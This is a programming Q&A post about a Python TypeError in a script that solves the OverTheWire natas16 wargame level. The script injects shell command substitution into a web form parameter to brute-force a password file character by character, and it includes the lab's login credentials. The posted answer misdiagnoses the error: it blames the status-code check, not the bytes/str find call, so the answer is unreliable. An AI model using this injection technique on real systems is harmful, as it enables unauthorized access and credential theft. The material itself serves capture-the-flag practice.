Dore Mon
Dore Mon

Reputation: 13

TypeError: a bytes-like object is required, not 'str' in Python

I have a problem here when i try running code below it does not work and show a text message as follows"

Target reachable. Starting character parsing... Traceback (most recent call last): File "C:\Users\hoangcode\Desktop\main.py", line 25, in if r.content.find(existsStr) != -1: TypeError: a bytes-like object is required, not 'str'

code here:

import requests

allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

parsedChars = ''

password = ''

target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'

existsStr = 'Output:\n<pre>\n</pre>'

r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print ("Target reachable. Starting character parsing...")


for c in allChars:

        r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked')
        if r.content.find(existsStr) != -1:
                parsedChars += c
                print ('Used chars: ' + parsedChars)

print ("Characters parsed. Starting brute force...")


for i in range(32):
        for c in parsedChars:

                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked')
                if r.content.find(existsStr) != -1:
                        password += c
                        print ('Password: ' + password + '*' * int(32 - len(password)))
                        break

print ("Done. Have fun!")

Upvotes: 1

Views: 1229

Answers (1)

Mani
Mani

Reputation: 5648

It is because requests.code.ok is an object which is internally represented as byte whereas requests.status_code returns an integer so you are comparing int with a byte object hence you are getting error. So in order to check you got ok response you need to use corresponding int code hence your code will be

if response.status_code != 200:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print ("Target reachable. Starting character parsing...")

I hope you know the status codes of response but for your reference I'm adding response codes list.

Upvotes: 1

Related Questions